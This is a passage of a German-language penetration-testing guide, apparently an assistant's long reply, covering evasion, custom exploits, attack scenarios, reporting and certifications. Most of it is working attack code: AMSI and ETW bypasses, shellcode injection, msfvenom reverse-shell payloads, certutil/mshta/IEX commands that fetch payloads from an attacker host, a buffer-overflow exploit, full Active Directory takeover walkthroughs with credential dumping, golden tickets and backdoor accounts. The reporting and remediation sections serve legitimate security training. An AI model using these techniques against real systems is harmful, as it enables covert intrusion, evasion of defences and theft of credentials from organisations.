msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=443 \
-f dll -o version.dll
# 3. Platziere in Programm-Verzeichnis
copy version.dll "C:\Program Files\TargetApp\"
# Bei nächstem Start: Payload ausgeführt
5. Defense Evasion – Wie du unsichtbar bleibst
AMSI Bypass (PowerShell-Schutz umgehen)
# AMSI = Antimalware Scan Interface, scannt PowerShell-Scripte
# Bypass 1: Memory Patching
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {
if ($b.Name -like "*iUtils") {
$c=$b
}
};$d=$c.GetFields('NonPublic,Static');
Foreach($e in $d) {
if ($e.Name -like "*Context") {
$f=$e
}
};$g=$f.GetValue($null);[IntPtr]$ptr=$g;
[Int32[]]$buf=@(0);
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
# Bypass 2: Obfuskation
$a = 'System.Management.Automation.A';
$b = 'msiUtils';
$u = [Ref].Assembly.GetType($a+$b);
$f = $u.GetField('amsiInitFailed','NonPublic,Static');
$f.SetValue($null,$true);
# Test: Lade Mimikatz ohne Detection
IEX (New-Object Net.WebClient).DownloadString('http://<IP>/Invoke-Mimikatz.ps1')
Warum wichtig: Windows Defender scannt automatisch alle PowerShell-Commands. Mit AMSI Bypass kannst du Tools wie Mimikatz, PowerView, Invoke-Kerberoast nachladen, ohne dass AV Alarm schlägt.
ETW (Event Tracing for Windows) patchen
# ETW loggt alle PowerShell-Aktivitäten → SIEMs sehen alles
# Durch Patching des ETW Providers bleibt alles unsichtbar
[Reflection.Assembly]::LoadWithPartialName('System.Core')
$d = [AppDomain]::CurrentDomain
$a = $d.GetAssemblies()
$n = [System.Diagnostics.Eventing.EventProvider].Assembly
$m = $n.GetType('System.Diagnostics.Eventing.EventProvider')
$method = $m.GetMethod('WriteTransferEvent', [Reflection.BindingFlags] 'NonPublic, Instance')
$field = $method.Module.GetType('Microsoft.Win32.UnsafeNativeMethods').GetField('etwEnabled', [Reflection.BindingFlags] 'NonPublic, Static')
$field.SetValue($null, 0)
Process Injection (Code in legitimen Prozess ausführen)
# Statt eigene .exe zu starten (sehr auffällig), Code in notepad.exe injizieren
# Mit Metasploit:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=443 \
-f raw -o shellcode.bin
# Injector-Script (PowerShell)
$code = Get-Content shellcode.bin -Encoding Byte
$proc = Start-Process notepad -PassThru
$addr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(LookupFunc kernel32.dll VirtualAllocEx),
(GenDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32], [UInt32]) ([IntPtr]))
).Invoke($proc.Handle, [IntPtr]::Zero, $code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($code, 0, $addr, $code.Length)
Besser: Nutze C2-Frameworks wie Covenant, die das automatisch machen.
Living-off-the-Land (LOLBAS)
# Nutze Windows-eigene Tools, die AV vertraut
# Download-Datei mit certutil (statt wget/curl)
certutil -urlcache -f http://<IP>/payload.exe C:\Windows\Temp\update.exe
# Execute with rundll32
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();
GetObject("script:http://<IP>/payload.sct")
# Registry als Payload-Speicher
reg add "HKCU\Software\Classes\test" /v payload /t REG_SZ /d "<base64_code>"
# Später: Auslesen und ausführen mit PowerShell
# MSHTA für Payload-Execution
mshta http://<IP>/payload.hta
6. Automation & Eigene Tools
Bash-Script für Auto-Enum
#!/bin/bash
# auto_enum.sh - Automatische Netzwerk-Enumeration
TARGET=$1
OUTPUT_DIR="enum_$(date +%Y%m%d_%H%M%S)"
mkdir -p $OUTPUT_DIR
echo "[+] Starting enumeration of $TARGET"
# Nmap Scans
echo "[*] Running Nmap..."
nmap -sC -sV -oA $OUTPUT_DIR/nmap_default $TARGET &
nmap -p- --min-rate 10000 -oA $OUTPUT_DIR/nmap_allports $TARGET &
nmap -sU --top-ports 100 -oA $OUTPUT_DIR/nmap_udp $TARGET &
wait
# SMB Enum
if grep -q "445/tcp.*open" $OUTPUT_DIR/nmap_default.nmap; then
echo "[*] SMB detected, running enum4linux..."
enum4linux-ng -A $TARGET > $OUTPUT_DIR/enum4linux.txt
echo "[*] Checking for SMB vulns..."
nmap -p445 --script smb-vuln* $TARGET -oA $OUTPUT_DIR/smb_vulns
fi
# Web Enum
if grep -q "80/tcp.*open\|443/tcp.*open" $OUTPUT_DIR/nmap_default.nmap; then
echo "[*] Web server detected..."
# Nikto
nikto -h $TARGET -o $OUTPUT_DIR/nikto.txt &
# Directory bruteforce
gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirb/common.txt \
-o $OUTPUT_DIR/gobuster.txt -q &
wait
fi
# LDAP Enum (if domain controller)
if grep -q "389/tcp.*open" $OUTPUT_DIR/nmap_default.nmap; then
echo "[*] LDAP detected, likely Domain Controller..."
ldapsearch -x -h $TARGET -s base > $OUTPUT_DIR/ldap_base.txt
fi
echo "[+] Enumeration complete! Results in $OUTPUT_DIR/"
Python für Custom Exploits
#!/usr/bin/env python3
# simple_buffer_overflow.py
import socket
import sys
if len(sys.argv) != 3:
print("Usage: python3 exploit.py <target_ip> <target_port>")
sys.exit(1)
target_ip = sys.argv[1]
target_port = int(sys.argv[2])
# Bad chars gefunden: \x00\x0a\x0d
# ESP Offset: 2048
# JMP ESP: 0x625011AF
shellcode = (
b"\xda\xc1\xba\xe4\x14\x7d\x21\xd9\x74\x24\xf4\x5e\x33"
# ... (msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=443 -b '\x00\x0a\x0d' -f python)
)
buffer = b"A" * 2048 # Fill to EIP
buffer += b"\xaf\x11\x50\x62" # JMP ESP (little-endian)
buffer += b"\x90" * 16 # NOP sled
buffer += shellcode
print(f"[*] Sending {len(buffer)} bytes to {target_ip}:{target_port}")
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(b"EXPLOIT " + buffer + b"\r\n")
s.close()
print("[+] Payload sent!")
except Exception as e:
print(f"[-] Error: {e}")
Python für AD-Enumeration
#!/usr/bin/env python3
# ad_user_enum.py - User-Enumeration via Kerberos
import socket
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5 import constants
from impacket.krb5.types import Principal
def check_user(domain, username, dc_ip):
"""Check if username exists via Kerberos Pre-Auth"""
try:
client = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
client, '', domain, '', '', dc_ip
)
return True # User exists (got AS-REP)
except Exception as e:
if "KDC_ERR_PREAUTH_REQUIRED" in str(e):
return True # User exists, Pre-Auth required
elif "KDC_ERR_C_PRINCIPAL_UNKNOWN" in str(e):
return False # User doesn't exist
else:
print(f"Error for {username}: {e}")
return False
if __name__ == "__main__":
domain = "company.local"
dc_ip = "192.168.1.10"
with open("usernames.txt", "r") as f:
users = [line.strip() for line in f]
print(f"[*] Testing {len(users)} usernames against {domain}")
valid_users = []
for user in users:
if check_user(domain, user, dc_ip):
print(f"[+] Valid user: {user}")
valid_users.append(user)
else:
print(f"[-] Invalid: {user}")
print(f"\n[+] Found {len(valid_users)} valid users")
with open("valid_users.txt", "w") as f:
f.write("\n".join(valid_users))
7. Reporting – Wie ein Senior kommuniziert
Executive Summary Struktur
EXECUTIVE SUMMARY
Engagement: Internal Network Penetration Test
Client: ACME Corporation
Date: December 1-5, 2024
Tester: [Your Name]
SUMMARY OF FINDINGS:
During this 5-day engagement, critical vulnerabilities were identified that
allowed complete compromise of the Active Directory domain within 4 hours.
KEY RISKS:
* CRITICAL: Unrestricted LLMNR/NBT-NS enabled network-wide credential theft
* CRITICAL: Service account with Domain Admin rights uses weak password
* HIGH: SMB Signing disabled on 87% of workstations enables relay attacks
* HIGH: 15 systems vulnerable to EternalBlue (MS17-010)
BUSINESS IMPACT:
An attacker could gain full control over:
- All employee workstations (data theft, ransomware)
- Financial database servers (intellectual property)
- Email system (business email compromise)
- Customer data storage (GDPR violations)
Estimated financial impact: €2-5 million (ransomware + downtime + regulatory fines)
IMMEDIATE ACTIONS REQUIRED:
1. Disable LLMNR/NBT-NS via GPO (1 day effort)
2. Rotate service account password + remove DA rights (1 hour effort)
3. Enable SMB Signing domain-wide (2 days effort)
4. Patch EternalBlue systems (3 days effort)
CONCLUSION:
The current security posture presents an unacceptable risk. However, the
identified issues are remediable within 2-3 weeks with focused effort.
Technical Findings Format
FINDING: LLMNR/NBT-NS Poisoning Enabled
SEVERITY: Critical (CVSS 9.8)
DESCRIPTION:
Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS)
are enabled domain-wide. These protocols are vulnerable to man-in-the-middle
attacks that capture user credentials.
IMPACT:
An attacker on the internal network can passively capture NTLM hashes of any
user who mistypes a UNC path or attempts to connect to a non-existent resource.
These hashes can be cracked offline or relayed to other systems.
AFFECTED SYSTEMS:
All Windows systems (approximately 250 workstations/servers)
PROOF OF CONCEPT:
1. Tool used: Responder v3.1.3.0
2. Command executed:
# responder -I eth0 -wrf
3. Within 10 minutes, captured credentials for:
- 5 standard users (passwords cracked in <1 hour)
- 1 IT administrator account (Domain Admin privileges)
4. Screenshots: PoC_LLMNR_1.png, PoC_LLMNR_2.png
STEPS TO REPRODUCE:
[Step-by-step für jemanden, der es nachvollziehen will]
REMEDIATION:
SHORT-TERM (Immediate):
- Disable LLMNR via Group Policy:
Computer Configuration → Policies → Administrative Templates → Network →
DNS Client → "Turn off multicast name resolution" → Enabled
- Disable NBT-NS via Group Policy:
Computer Configuration → Preferences → Windows Settings → Registry →
HKLM\SYSTEM\CurrentControlSet\Services\NetBT\Parameters\NodeType → 2 (P-node)
LONG-TERM:
- Implement Network Access Control (NAC) to segment untrusted devices
- Deploy EDR solution that detects Responder-like activity
- Monitor for LLMNR/NBT-NS traffic (should be zero after mitigation)
REFERENCES:
- https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning
- CWE-294: Authentication Bypass by Capture-replay
8. Continuous Learning – Wie du auf dem neuesten Stand bleibst
Tägliche Routine (30-60 min)
# Morning Routine
# 1. Check Security News
curl -s https://www.bleepingcomputer.com/feed/ | grep -oP '(?<=<title>).*?(?=</title>)'
curl -s https://www.securityweek.com/feed/ | grep -oP '(?<=<title>).*?(?=</title>)'
# 2. Twitter-Liste (via RSS)
# Folge: @gentilkiwi, @harmj0y, @tifkin_, @_RastaMouse, @0xdf_
# 3. Reddit
# r/netsec, r/AskNetsec, r/redteamsec
# 4. CVE-Feeds
curl https://cve.mitre.org/data/downloads/allitems.csv | grep "Windows\|Active Directory"
Wöchentliche Labs (5-10 Stunden)
HackTheBox Pro Labs (in dieser Reihenfolge):
1. DANTE (14 Machines) - Fokus: Pivoting, AD-Grundlagen
Zeitaufwand: 40-60 Stunden
Skills: Port Forwarding, Chisel, Basic AD Enum
2. OFFSHORE (19 Machines) - Fokus: Advanced Pivoting, Red Team
Zeitaufwand: 60-80 Stunden
Skills: Code Execution in restricted environments, AV Evasion
3. ZEPHYR (20 Machines) - Fokus: Zero Trust Arch, Modern Security
Zeitaufwand: 80-100 Stunden
Skills: Azure AD, Conditional Access Bypass, MFA weaknesses
4. RASTA MOUSE Labs (APTLabs) - Fokus: Enterprise Red Teaming
Zeitaufwand: 100+ Stunden
Skills: C2 Frameworks, Operational Security, Long-term Persistence
TryHackMe Learning Paths:
# 1. Red Teaming Path (alle Module durcharbeiten)
# Wreath Network (Pivoting)
# Holo Network (AD)
# Ra (Egyptian God) - Advanced Exploitation
# 2. Throwback Network
# Simulation eines realen Unternehmensnetzwerks
# 15 Machines, vollständige AD-Umgebung
Eigenes AD-Lab aufbauen:
# Mit AutomatedLab (PowerShell)
Install-Module AutomatedLab -Force
New-LabDefinition -Name "PentestLab" -DefaultVirtualizationEngine HyperV
# Domain Controller
Add-LabMachineDefinition -Name DC01 -OperatingSystem 'Windows Server 2019' `
-Roles RootDC -DomainName company.local -Memory 2GB
# Member Server (File Server)
Add-LabMachineDefinition -Name FS01 -OperatingSystem 'Windows Server 2019' `
-DomainName company.local -Memory 2GB
# Workstations
1..5 | ForEach-Object {
Add-LabMachineDefinition -Name "WS0$_" -OperatingSystem 'Windows 10' `
-DomainName company.local -Memory 2GB
}
Install-Lab
# Nach Installation: Schwachstellen einbauen
# - LLMNR aktivieren
# - SMB Signing deaktivieren
# - Service-Account mit schwachem Passwort + DA-Rechte
# - Constrained Delegation konfigurieren
# etc.
Monatliche Deep-Dives
Monat 1: Kerberos im Detail
- RFC 4120 lesen (ja, wirklich)
- Alle Ticket-Typen verstehen (TGT, TGS, ST)
- Eigene Kerberos-Requests mit Scapy bauen
- Golden/Silver/Diamond Tickets praktisch
Monat 2: Windows Internals
- "Windows Internals Part 1" lesen (Mark Russinovich)
- LSASS-Architektur verstehen
- Eigene LSASS-Dumper in C# schreiben
- Process Injection-Techniken implementieren
Monat 3: C2 Development
- Covenant Source Code analysieren
- Eigener Basic C2 in Python (Server + Agent)
- HTTPS-Beacons implementieren
- Domain Fronting testen
Monat 4: EDR Evasion
- EDR-Lösungen (Defender, CrowdStrike) in Lab
- Syscall Direct Invocation (Hell's Gate)
- ETW/AMSI Patching von Grund auf
- Unhooking-Techniken
Best Blogs zum folgen
# Technical Deep-Dives
https://ired.team/ # Mantvydas Baranauskas - Code Injection, Evasion
https://pentestlab.blog/ # netbiosX - AD-Persistence
https://www.harmj0y.net/blog/ # Will Schroeder (PowerView-Autor)
https://dirkjanm.io/ # Dirk-jan Mollema - AD, Azure AD
https://blog.xpnsec.com/ # Adam Chester (@_xpn_) - Windows Internals
# CTF Write-Ups
https://0xdf.gitlab.io/ # HTB-Maschinen im Detail
https://rana-khalil.gitbook.io/ # OSCP-Prep
# Tools & Techniques
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
https://github.com/swisskyrepo/PayloadsAllTheThings
https://lolbas-project.github.io/ # Living-off-the-Land Binaries
9. Reale Szenarien – Wie ein Pentest abläuft
Szenario 1: Interner Pentest – Von Zero zu Domain Admin in 4 Stunden
08:00 - Engagement Start
- Anschluss an Büro-Netzwerk (Ethernet-Port im Konferenzraum)
- IP via DHCP: 192.168.10.50/24
- Gateway: 192.168.10.1
08:05 - Passive Reconnaissance
$ responder -I eth0 -A # Analyze mode (kein Angriff)
- WPAD-Anfragen beobachtet → User suchen Proxy
- LLMNR-Broadcast für "\\FILESERVER01"
08:10 - Active Recon
$ sudo nmap -sn 192.168.10.0/24
- 45 Hosts online
$ sudo nmap -p 88,389,445 192.168.10.0/24
- DC gefunden: 192.168.10.10 (corp-dc01.acme.local)
08:15 - Credential Harvesting
$ sudo responder -I eth0 -wrf
- Nach 5 Minuten: NTLM-Hash von "sarah.connor"
$ hashcat -m 5600 hash.txt rockyou.txt
- Geknackt: "Summer2024!"
08:25 - Initial Access Validation
$ crackmapexec smb 192.168.10.0/24 -u sarah.connor -p 'Summer2024!'
- Sarah ist Local Admin auf: 192.168.10.55, .67, .89
08:30 - BloodHound Collection
$ bloodhound-python -d acme.local -u sarah.connor -p 'Summer2024!' \
-ns 192.168.10.10 -c All
- Import in BloodHound GUI
- Query: "Shortest Path to Domain Admins from Owned Principals"
- Ergebnis: sarah.connor → IT-Support → GenericWrite on svc_backup
→ svc_backup ist in "Backup Operators"
→ Backup Operators kann DCSync
08:45 - Privilege Escalation Path
# 1. Sarah → GenericWrite auf svc_backup
$ bloodyAD -d acme.local -u sarah.connor -p 'Summer2024!' \
set password svc_backup 'NewPass123!'
# 2. svc_backup → DCSync
$ secretsdump.py acme.local/svc_backup:'NewPass123!'@192.168.10.10 -just-dc
- Extracted: Administrator:500:...:58a478135a93ac3bf058a5ea0e8fdb71:::
- Extracted: krbtgt:502:...:12345678901234567890abcdef123456:::
09:00 - Domain Admin Achieved
$ psexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 Administrator@192.168.10.10
C:\Windows\system32> whoami
acme\administrator
09:15 - Post-Exploitation
# Persistence: Golden Ticket
$ ticketer.py -nthash 12345678901234567890abcdef123456 \
-domain-sid S-1-5-21-... -domain acme.local admin_backdoor
# Lateral Movement: All Servers
$ crackmapexec smb 192.168.10.0/24 -u Administrator \
-H 58a478135a93ac3bf058a5ea0e8fdb71 -x "hostname"
- Access to 12 servers confirmed
# Credential Dumping: All Systems
$ crackmapexec smb servers.txt -u Administrator \
-H 58a478135a93ac3bf058a5ea0e8fdb71 --lsa
- 47 unique credentials extracted
12:00 - Reporting & Client Notification
- Informed client of critical findings
- Began remediation guidance
Key Takeaways:
- LLMNR ist fast immer aktiviert (90% der Netzwerke)
- BloodHound zeigt Wege, die du manuell nie finden würdest
- Vom ersten Hash zu DA: Oft <4 Stunden in ungehärteten Umgebungen
Szenario 2: External Pentest → Internal Access
Day 1 - External Reconnaissance
-------
# OSINT
- Google Dorks: site:company.com filetype:pdf
→ Found: Network_Diagram_2023.pdf (internal IPs leaked)
- LinkedIn: 450 employees
→ Generated username list: firstname.lastname@company.com
- Shodan: company.com
→ Found: VPN Gateway (Pulse Secure) on vpn.company.com
# Subdomain Enumeration
$ subfinder -d company.com | httpx -title -tech-detect
- Found: dev.company.com (IIS 8.5, .NET 4.7)
- Found: mail.company.com (Exchange 2016)
Day 2 - External Vulnerability Assessment
-------
# VPN Gateway
$ nmap -p 443 --script ssl-cert vpn.company.com
- Vulnerable to CVE-2019-11510 (Pulse Secure Arbitrary File Read)
# Exploitation
$ python3 CVE-2019-11510.py vpn.company.com
- Extracted: /etc/passwd, user session cookies
- Extracted VPN credentials:
john.smith:Acme2023!
# VPN Access
$ openconnect --protocol=pulse vpn.company.com \
-u john.smith -p 'Acme2023!'
- Connected! Internal IP: 10.0.0.50
Day 3 - Internal Network from VPN
-------
# Now on Internal Network (10.0.0.0/8)
$ nmap -sn 10.0.0.0/16
- 1,240 hosts online
# Find Domain Controller
$ nmap -p 389,445,88 10.0.0.0/16 | grep -B5 "389/tcp.*open"
- DC: 10.0.5.10
# BloodHound
$ bloodhound-python -d internal.company.com \
-u john.smith -p 'Acme2023!' -ns 10.0.5.10 -c All
# Analysis
- john.smith → RDP Users → Jump-Host-01
- Jump-Host-01 hat cached credentials von "domain_admin"
# Pivoting
$ chisel server -p 8000 --reverse # On Kali
$ ./chisel client <your_public_IP>:8000 R:socks # On VPN
$ proxychains xfreerdp /u:john.smith /p:'Acme2023!' /v:10.0.50.20
# On Jump-Host
C:\> .\mimikatz.exe
mimikatz # sekurlsa::logonpasswords
- Found cached: domain_admin:P@ssw0rd2024!
# DCSync
$ proxychains secretsdump.py internal.company.com/domain_admin:'P@ssw0rd2024!'@10.0.5.10
10. Pro-Tipps von Senior Pentest
Mindset & Methodologie
1. Denke wie ein Angreifer, nicht wie ein Scanner
❌ Falsch: "Nmap sagt Port 445 ist offen, next."
✅ Richtig: "SMB ist offen. Ist Signing aktiv? Welche Shares?
Credentials irgendwo? Relay möglich?"
2. Dokumentiere WÄHREND des Tests, nicht danach
# Screenshot-Script
alias ss='scrot ~/pentest/screenshots/$(date +%Y%m%d_%H%M%S).png'
# Command-History mit Timestamps
export HISTTIMEFORMAT="%F %T "
# Automatisches Logging
script -f -q ~/pentest/terminal_log_$(date +%Y%m%d).txt
3. „Quick Wins“ zuerst, dann deep dive
Phase 1 (1 Stunde): Low-Hanging Fruits
- LLMNR Poisoning
- AS-REP Roasting
- Kerber oasting
- Default Credentials
Phase 2 (3-6 Stunden): AD Attack Paths
- BloodHound Analysis
- ACL Abuse
- GPO Exploitation
Phase 3 (Restzeit): Advanced
- ADCS Attacks
- Zerologon
- Custom Exploits
4. Immer mehrere Wege sichern
# Backdoor 1: Local Admin Account
net user backup P@ssw0rd! /add
net localgroup administrators backup /add
# Backdoor 2: SSH Backdoor (Windows 10+)
Add-WindowsCapability -Online -Name OpenSSH.Server
Start-Service sshd
Set-Service -Name sshd -StartupType 'Automatic'
# Backdoor 3: Golden Ticket (saved offline)
# Backdoor 4: Scheduled Task Beacon
Tools Cheat Sheet (am häufigsten genutzt)
# === Reconnaissance ===
nmap -sC -sV -oA scan target
masscan -p1-65535 --rate=10000 target -oL masscan.txt
autorecon target # Automated full enum
# === AD Enumeration ===
bloodhound-python -d domain -u user -p pass -ns DC -c All
crackmapexec smb target -u user -p pass --shares --users --groups
ldapdomaindump -u 'domain\user' -p pass DC-IP
# === Initial Access ===
sudo responder -I eth0 -wrf
kerbrute userenum -d domain --dc DC userlist.txt
crackmapexec smb target -u users.txt -p 'Password!' --continue-on-success
# === Exploitation ===
GetUserSPNs.py domain/user:pass -dc-ip DC -request
GetNPUsers.py domain/ -usersfile users.txt -format hashcat
secretsdump.py domain/user:pass@DC
# === Lateral Movement ===
crackmapexec smb target -u user -H hash --sam
psexec.py -hashes :hash user@target
wmiexec.py domain/user:pass@target
# === Post-Exploitation ===
pypykatz lsa minidump lsass.dmp
.\Rubeus.exe kerbroast /nowrap
.\SharpHound.exe -c All
# === Pivoting ===
chisel server -p 8000 --reverse --socks5
./chisel client attacker:8000 R:socks
proxychains nmap -sT -Pn internal_target
Häufige Fehler (und wie du sie vermeidest)
1. Zu laut scannen
❌ nmap -A -T5 -p- target # Super laut, triggert IDS
✅ nmap -sT -Pn --top-ports 1000 --scan-delay 100ms target
2. Credentials nicht organisieren
# Erstelle credentials.txt mit Format:
# username:password:hash:domain:notes
john.doe:Password123!::acme.local:Found via LLMNR
admin::e19ccf75ee54e06b:acme.local:Dumped from WS01
3. Pivots verlieren
# Dokumentiere jeden Tunnel
# tunnels.txt:
# Chisel: attacker:8000 → 192.168.1.50:socks (Office Network)
# SSH: -L 3389:10.0.0.100:3389 via 192.168.1.50 (RDP to DC)
# Ligolo: 10.0.0.0/24 via 192.168.1.50
4. AV-Detection ignorieren
# Teste immer Tools in VM mit AV zuerst
# Windows Defender VM:
# - Lade Mimikatz → sofort detected
# - Lade Invoke-Mimikatz.ps1 mit AMSI Bypass → funktioniert
# Nutze für Production:
# - Obfuskierte Versionen
# - Custom Compiled Tools
# - In-Memory Execution
11. Zertifizierungen – Was wirklich zählt
OSCP (Offensive Security Certified Professional)
Level: Entry bis Mid
Dauer: 3-6 Monate Prep
Format: 24h Practical Exam (5 Machines)
Kosten: ~€900
Warum wichtig:
- Industry Standard
- 100% Hands-on (kein Multiple Choice)
- Lehrt Methodology und Try Harder Mindset
Vorbereitung:
1. TJNull's OSCP List (HTB/VulnHub)
2. Proving Grounds Practice (30+ Machines)
3. Eigene Cheat Sheets erstellen
4. Buffer Overflow PERFEKT beherrschen
OSEP (Offensive Security Experienced Penetration Tester)
Level: Advanced
Dauer: 4-8 Monate Prep nach OSCP
Format: 48h Exam (AD-Umgebung)
Kosten: ~€1,600
Fokus:
- AV/EDR Evasion
- Advanced Pivoting
- Code Execution in restricted environments
- Process Injection, Lateral Movement
Für Senior-Level: MUST HAVE
CRTO (Certified Red Team Operator)
Level: Advanced
Anbieter: Zero-Point Security
Dauer: 2-3 Monate
Format: 48h Exam (4-day Engagement)
Kosten: ~€400
Fokus:
- Cobalt Strike
- C2 Frameworks
- Operational Security
- Realistic Red Team TTPs
Sehr praxisnah, günstiger als OSEP
GXPN (GIAC Exploit Researcher and Advanced Penetration Tester)
Level: Expert
Dauer: 6-12 Monate
Format: 3h Proctored Exam + Practical
Kosten: ~€7,000 (mit Kurs)
Nur wenn Firma zahlt - sehr teuer, aber respektiert
Das ist das komplette Wissen, das du für Senior Network Pentesting brauchst. Der Schlüssel ist: Praktische Erfahrung beats Theorie. Baue Labs, breche sie, dokumentiere alles, und lerne aus Fehlern.
Fragen zu spezifischen Themen? Sag Bescheid!
